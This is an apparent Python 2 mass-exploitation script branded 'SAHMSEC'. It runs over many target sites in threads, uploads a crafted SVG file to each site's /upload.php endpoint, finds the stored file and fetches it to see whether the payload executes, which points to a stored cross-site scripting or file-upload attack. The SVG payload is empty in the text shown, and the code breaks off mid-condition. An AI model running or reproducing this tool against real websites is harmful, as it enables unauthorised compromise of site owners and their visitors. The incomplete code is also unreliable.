#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import requests
import threading
import random
import string
from multiprocessing.dummy import Pool as ThreadPool
# =======================
# Colors
# =======================
fr = "\033[91m"
fg = "\033[92m"
fy = "\033[93m"
rs = "\033[0m"
# =======================
# Thread-safe print
# =======================
print_lock = threading.Lock()
requests.packages.urllib3.disable_warnings()
# =======================
# Helpers
# =======================
def randstr(n=8):
return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(n))
# =======================
# Exploit
# =======================
def Exploit(target):
target = target.strip().rstrip("/")
upload_url = target + "/upload.php"
boundary = "SAHMSEC" + randstr()
file_rand = "expbySAHMSEC"
svg_payload = """
""" % file_rand
data = (
"--" + boundary + "\r\n" +
'Content-Disposition: form-data; name="file"; filename="%s.svg"\r\n' % file_rand +
"Content-Type: image/svg+xml\r\n\r\n" +
svg_payload + "\r\n" +
"--" + boundary + "--\r\n"
)
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "multipart/form-data; boundary=" + boundary
}
try:
r = requests.post(
upload_url,
data=data,
headers=headers,
timeout=10,
verify=False
)
if r.status_code != 200:
with print_lock:
print(" - %s --> %sCant_Access%s" % (target, fr, rs))
return
import re
m = re.search(r"/[a-zA-Z0-9_-]+\.svg", r.text)
if not m:
with print_lock:
print(" - %s --> %sCant_Access%s" % (target, fr, rs))
return
upload_path = m.group(0)
final_url = target + upload_path
r2 = requests.get(final_url, timeout=10, verify=False)
if (r2.status_code == 200 and
file_rand in r2.text and
'